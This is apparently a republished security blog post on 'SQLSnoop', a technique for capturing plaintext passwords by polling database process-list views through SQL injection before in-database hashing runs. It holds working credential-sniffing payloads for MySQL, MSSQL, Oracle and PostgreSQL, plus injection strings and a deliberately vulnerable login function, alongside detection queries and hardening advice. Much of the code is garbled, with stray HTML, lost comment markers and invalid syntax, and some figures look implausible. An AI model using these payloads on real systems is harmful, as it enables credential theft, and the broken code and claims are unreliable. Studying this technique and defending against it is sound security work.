SQLSnoop Breaks the Hash: How Attackers Steal Plaintext Passwords Even When You Hash Them in SQL + Video

Listen to this Post

Featured Image

Introduction:

Traditional wisdom says hashing passwords inside the database protects credentials even if an SQL injection exists. SQLSnoop shatters that assumption by exploiting a micro-second window where plaintext passwords exist in memory before hash functions execute. This secondary attack technique turns standard monitoring views–meant for performance tuning–into credential sniffers, achieving up to 100% success on modern multi-core MySQL instances.

Learning Objectives:

  • Understand how SQLSnoop uses DBMS monitoring views to capture plaintext credentials during SQL statement execution
  • Learn to exploit and detect this attack across MySQL, MSSQL, Oracle, and PostgreSQL platforms
  • Implement defensive coding patterns and database privilege restrictions to eliminate plaintext exposure

You Should Know

  1. The Anatomy of SQLSnoop: From Injection to Plaintext Capture

SQLSnoop requires an existing SQL injection point that allows stacked queries or UNION-based payloads. The attacker injects a polling loop that repeatedly queries the DBMS’s process list, filtering for any SQL statement containing hash function calls like `MD5()` or SHA2(). When a victim logs in, their query appears in the monitoring view for milliseconds–long enough for the attacker’s loop to read the raw arguments.

Step‑by‑step guide – MySQL exploitation simulation:

  1. Identify a vulnerable input (e.g., a login form with ' OR 1=1 --).
  2. Inject the SQLSnoop polling payload (uses `information_schema.processlist` and a loop via `BENCHMARK` or `SLEEP` inside a procedure):
    -- Attacker creates a stored procedure to poll continuously
    DELIMITER $$
    CREATE PROCEDURE SQLSnoopPoll()
    BEGIN
    DECLARE done INT DEFAULT FALSE;
    DECLARE raw_query TEXT;
    DECLARE cur CURSOR FOR 
    SELECT INFO FROM information_schema.PROCESSLIST 
    WHERE INFO LIKE '%MD5(%' AND INFO NOT LIKE '%SQLSnoopPoll%';
    DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = TRUE;</li>
    </ol>
    
    WHILE done = FALSE DO
    OPEN cur;
    read_loop: LOOP
    FETCH cur INTO raw_query;
    IF done THEN LEAVE read_loop; END IF;
    -- Insert captured plaintext into attacker's table
    INSERT INTO attacker_log VALUES (NOW(), raw_query);
    END LOOP;
    CLOSE cur;
    DO SLEEP(0.01); -- Poll every 10ms
    END WHILE;
    END$$
    DELIMITER ;
    
    -- Trigger the poller via SQL injection
    CALL SQLSnoopPoll();
    
    1. Wait for a victim login – when the application runs INSERT INTO users VALUES ('alice', MD5('Secret123')), the polling procedure captures the raw query before MD5 executes.
    2. Extract plaintext from attacker_log. On MySQL with ≥1.2 vCPU cores, success rate hits 100% due to parallel execution windows.

    What this does: The attack bypasses cryptographic hashing by reading the plaintext argument before the hash function runs, exploiting the in-memory visibility of active SQL statements.

    1. Exploiting MySQL: Achieving 100% Success on Multi‑Core Systems

    The paper’s quantitative evaluation shows that MySQL systems with 1.2+ virtual CPU cores reach 100% capture success because the attacker’s polling thread and victim’s login thread can run concurrently. Lower core counts still exceed 90% success across versions 5.7, 8.0, and 8.4.

    Step‑by‑step guide – testing and detection:

    1. Check your MySQL CPU core count (Linux command):
      lscpu | grep -E '^CPU(s)|^Thread|^Core'
      

    2. Simulate a vulnerable login script (Python + MySQL):

      import hashlib
      import mysql.connector</p></li>
      </ol>
      
      <p>def insecure_login(username, password):
      conn = mysql.connector.connect(user='app', password='app', database='test')
      cursor = conn.cursor()
       VULNERABLE: string concatenation, and hash inside SQL
      query = f"INSERT INTO logins VALUES ('{username}', MD5('{password}'))"
      cursor.execute(query)
      conn.commit()
      
      1. Simulate the attacker polling (same SQL as step 1, but using `UNION` payload):
        -- Injected via a GET parameter: ' UNION SELECT SLEEP(0.1), INFO FROM information_schema.PROCESSLIST WHERE INFO LIKE '%MD5(%' --
        

      2. Detect such polling by looking for rapid, repeated queries to `information_schema.PROCESSLIST` with sleep intervals:

        -- Hunt for suspicious loops
        SELECT  FROM sys.statement_analysis 
        WHERE query LIKE '%PROCESSLIST%' AND query LIKE '%SLEEP%' 
        AND exec_count > 100 IN 5 SECONDS;
        

      Mitigation: Never compute hashes inside SQL statements. Hash passwords in application code (e.g., hashlib.sha256(password.encode()).hexdigest()) before sending them to the database.

      3. Expanding to MSSQL: Using sys.dm_exec_requests and sys.dm_exec_sql_text

      Microsoft SQL Server exposes current queries through Dynamic Management Views (DMVs). SQLSnoop works similarly but requires higher privileges (VIEW SERVER STATE). The attacker injects a T‑SQL loop that polls `sys.dm_exec_requests` and retrieves SQL text via sys.dm_exec_sql_text.

      Step‑by‑step guide – MSSQL implementation:

      1. Ensure injection point allows stacked queries (e.g., ; WAITFOR DELAY '0:0:1' --).
      2. Inject the polling loop (uses `WHILE` and WAITFOR):
        -- Attacker payload (injected)
        DECLARE @query NVARCHAR(MAX);
        WHILE 1=1
        BEGIN
        SELECT TOP 1 @query = text 
        FROM sys.dm_exec_requests r
        CROSS APPLY sys.dm_exec_sql_text(r.sql_handle) t
        WHERE t.text LIKE '%HASHBYTES%' 
        AND t.text NOT LIKE '%WHILE%1=1%';</li>
        </ol>
        
        IF @query IS NOT NULL
        INSERT INTO attacker_capture VALUES (GETDATE(), @query);
        
        WAITFOR DELAY '00:00:00.010'; -- 10ms polling
        END
        

        3. Victim login example (vulnerable):

        -- Application runs this on login
        INSERT INTO users VALUES ('bob', HASHBYTES('SHA2_256', 'MyP@ssw0rd'));
        
        1. Extract plaintext from `attacker_capture` table – the string `’MyP@ssw0rd’` appears before `HASHBYTES` runs.

        Limitations: Requires `VIEW SERVER STATE` permission. However, many legacy applications grant this to the web app user. Restrict by revoking unnecessary permissions:

        REVOKE VIEW SERVER STATE FROM webapp_user;
        

        4. Oracle and PostgreSQL Counterparts: v$sql and pg_stat_activity

        Both Oracle and PostgreSQL expose active SQL through system views, making them vulnerable. Oracle’s `v$sql` retains completed queries for a short duration, while PostgreSQL’s `pg_stat_activity` shows currently running statements.

        Step‑by‑step guide – Oracle (PL/SQL injection):

        1. Inject a loop using `DBMS_LOCK.SLEEP` (requires `EXECUTE` on DBMS_LOCK):
          DECLARE
          v_sql_text VARCHAR2(4000);
          BEGIN
          LOOP
          SELECT sql_fulltext INTO v_sql_text
          FROM v$sql
          WHERE sql_fulltext LIKE '%STANDARD_HASH(%'
          AND sql_fulltext NOT LIKE '%v$sql%'
          AND ROWNUM = 1;</li>
          </ol>
          
          INSERT INTO attacker_log VALUES (SYSDATE, v_sql_text);
          COMMIT;
          DBMS_LOCK.SLEEP(0.01);
          END LOOP;
          END;
          /
          

          Step‑by‑step guide – PostgreSQL (using `pg_sleep`):

          -- Injected via UNION or DO block
          DO $$
          DECLARE
          rec RECORD;
          BEGIN
          LOOP
          FOR rec IN 
          SELECT query FROM pg_stat_activity 
          WHERE query LIKE '%digest(%' 
          AND query NOT LIKE '%pg_stat_activity%'
          LOOP
          INSERT INTO attacker_capture VALUES (now(), rec.query);
          END LOOP;
          PERFORM pg_sleep(0.01);
          END LOOP;
          END $$;
          

          Defense for both: Revoke direct access to monitoring views from application database users. Use dedicated monitoring accounts with strict IP whitelisting.

          5. Mitigation: Parameterized Queries and Application‑Side Hashing

          The root cause is not SQL injection alone–it is the combination of injection plus in‑database hashing. Even without injection, an attacker who gains limited SQL access (e.g., through a reporting feature) could still poll monitoring views. The only complete fix is to move hashing to the application layer.

          Step‑by‑step guide – secure implementation (Python + MySQL):

          import hashlib
          import secrets
          from mysql.connector import pooling
          
          def secure_register(username, password):
           Generate random salt (16 bytes)
          salt = secrets.token_hex(16)
           Hash password with salt using 100,000 iterations of PBKDF2
          hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100000)
           Combine salt and hash (store as hex)
          stored_value = salt + ':' + hashed.hex()
          
          Use parameterized query – no plaintext password ever reaches DBMS as SQL argument
          cursor.execute(
          "INSERT INTO users (username, password_hash) VALUES (%s, %s)",
          (username, stored_value)
          )
          

          Why this defeats SQLSnoop: The plaintext password never appears inside a SQL statement. The monitoring view sees only the hex string of the already‑hashed password. Even with SQL injection, there is nothing to capture.

          Windows command to test application behavior (monitor SQL traffic):

           Use SQL Server Profiler or Extended Events (MSSQL)
           Or enable MySQL general log temporarily
          SET GLOBAL general_log = 'ON';
          SET GLOBAL log_output = 'TABLE';
           Then check mysql.general_log table for any plaintext credentials
          

          6. Hunting for SQLSnoop: Detecting Suspicious Polling Queries

          Blue teams can identify SQLSnoop activity by monitoring for rapid, repetitive queries to process list views with short sleep intervals. Use database audit logs, SIEM queries, and network‑level detection.

          Step‑by‑step detection guide:

          1. MySQL – detect polling behavior (query `performance_schema.events_statements_summary_by_digest`):

          SELECT DIGEST_TEXT, COUNT_STAR, AVG_TIMER_WAIT/1000000000 AS avg_ms
          FROM performance_schema.events_statements_summary_by_digest
          WHERE DIGEST_TEXT LIKE '%information_schema.processlist%'
          ORDER BY COUNT_STAR DESC;
          

          Look for thousands of executions in a short time with very short average wait times (e.g., 10–20ms).

          1. Linux command to monitor MySQL process list frequency (watch every second, look for bursts):
            watch -1 1 'mysql -e "SHOW PROCESSLIST" | grep -c "SQLSnoop|SLEEP|PROCESSLIST"'
            

          3. Windows PowerShell script for MSSQL detection:

          $query = @"
          SELECT [bash], execution_count, last_execution_time 
          FROM sys.dm_exec_query_stats 
          CROSS APPLY sys.dm_exec_sql_text(sql_handle)
          WHERE [bash] LIKE '%dm_exec_requests%' 
          AND [bash] LIKE '%WAITFOR%'
          ORDER BY execution_count DESC
          "@
          Invoke-Sqlcmd -ServerInstance "localhost" -Query $query
          
          1. Network‑based detection – SQL injection payloads often contain repeated SLEEP/WAITFOR calls. Use a Wireshark filter for TDS (MSSQL) or MySQL protocol:
            mysql.query contains "SLEEP" or mysql.query contains "PROCESSLIST"
            

          5. SIEM rule example (pseudo‑Sigma):

          detection:
          selection:
          dbms.query: 
          - "PROCESSLIST"
          - "dm_exec_requests"
          - "pg_stat_activity"
          dbms.query|contains: 
          - "SLEEP"
          - "WAITFOR"
          frequency: >10 per 5 seconds
          condition: selection
          
          1. Hardening: Removing Superfluous Monitoring Permissions and Using Least Privilege

          Many DBMS installations grant `PROCESS` (MySQL), `VIEW SERVER STATE` (MSSQL), `SELECT ON v$sql` (Oracle), or `pg_read_all_stats` (PostgreSQL) to default application users. Revoke these unless absolutely required.

          Step‑by‑step hardening per DBMS:

          MySQL:

          -- Check who has PROCESS privilege
          SELECT user, host FROM mysql.user WHERE process_priv = 'Y';
          -- Revoke from web app user
          REVOKE PROCESS ON . FROM 'webapp'@'%';
          -- Also revoke SELECT on information_schema (if possible)
          REVOKE SELECT ON information_schema. FROM 'webapp'@'%';
          

          MSSQL:

          -- Revoke VIEW SERVER STATE
          REVOKE VIEW SERVER STATE TO [bash];
          -- Use server-level role membership sparingly
          ALTER SERVER ROLE MS_ServerStateReader DROP MEMBER [bash];
          

          Oracle:

          -- Revoke SELECT on v$sql
          REVOKE SELECT ON v_$sql FROM webapp_user;
          -- Remove role that grants dynamic performance view access
          REVOKE SELECT_CATALOG_ROLE FROM webapp_user;
          

          PostgreSQL:

          -- Revoke pg_read_all_stats role
          REVOKE pg_read_all_stats FROM webapp_user;
          -- Restrict pg_stat_activity visibility (requires superuser)
          ALTER SYSTEM SET track_activities = off; -- drastic, not recommended; instead use row-level security
          

          Principle of least privilege: Application database accounts should only have INSERT, UPDATE, `SELECT` on required tables, and no access to system views or process lists. Use a separate monitoring account for legitimate DBAs with strict source IP restrictions.

          What Undercode Say

          Key Takeaway 1: Hashing inside SQL statements provides false security–the plaintext always exists in memory before the hash function executes, and any SQL injection or monitoring view access can capture it.

          Key Takeaway 2: Multi‑core systems ironically make SQLSnoop more effective because concurrent execution increases the chance the attacker’s polling thread reads the victim’s query mid‑execution.

          Analysis: The research fundamentally shifts how we think about defense‑in‑depth. Developers often rely on “hash on the database side” as a compensating control for missing application‑layer hashing. SQLSnoop shows this is equivalent to storing plaintext. The real fix is architectural: never send sensitive plaintext into the DBMS as part of a SQL statement. Parameterized queries alone do not solve this if the parameter value is still a plaintext password that the DBMS receives. Application‑layer hashing (using a strong KDF like Argon2 or PBKDF2) must happen before the data touches the SQL parser. Additionally, database hardening must restrict access to monitoring views – a lesson many cloud RDS defaults ignore. Expect to see CVEs for default configurations that grant `PROCESS` to all users. The 100% success rate on MySQL with ≥1.2 vCPUs is particularly alarming for production environments where multi‑core is standard. Blue teams should prioritize auditing for in‑database hash functions and implement anomaly detection for rapid polling of information_schema. Finally, this technique lowers the barrier for SQL injection exploitation – attackers no longer need to crack hashes offline; they steal plaintext live.

          Prediction:

          -1 Increased sophistication of SQL injection attacks – Traditional tooling (sqlmap) will incorporate SQLSnoop‑style polling, making post‑injection password harvesting nearly instantaneous.

          -1 Regulatory scrutiny on database logging – Compliance frameworks (PCI‑DSS, HIPAA) may mandate that monitoring views exclude parameter values, forcing DBMS vendors to implement redaction.

          +1 Rise of application‑side hashing frameworks – Expect OWASP and NIST to update guidance strongly deprecating database‑side hashing, pushing adoption of libraries like `libsodium` and `bcrypt` in web frameworks.

          -1 Performance impact of mitigations – Revoking monitoring view access will break many legitimate monitoring tools (e.g., Datadog, New Relic), requiring re‑architecture of observability pipelines.

          +1 New research into “hash‑before‑parse” database extensions – DBMS vendors may introduce functions like `SECURE_HASH()` that execute in a separate memory space not visible to process lists.

          ▶️ Related Video (76% Match):

          🎯Let’s Practice For Free:

          🎓 Live Courses & Certifications:

          Join Undercode Academy for Verified Certifications

          🚀 Request a Custom Project:

          Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
          [email protected]
          💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

          IT/Security Reporter URL:

          Reported By: Flavioqueiroz Sql – Hackers Feeds
          Extra Hub: Undercode MoN
          Basic Verification: Pass ✅

          🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

          💬 Whatsapp | 💬 Telegram

          📢 Follow UndercodeTesting & Stay Tuned:

          𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky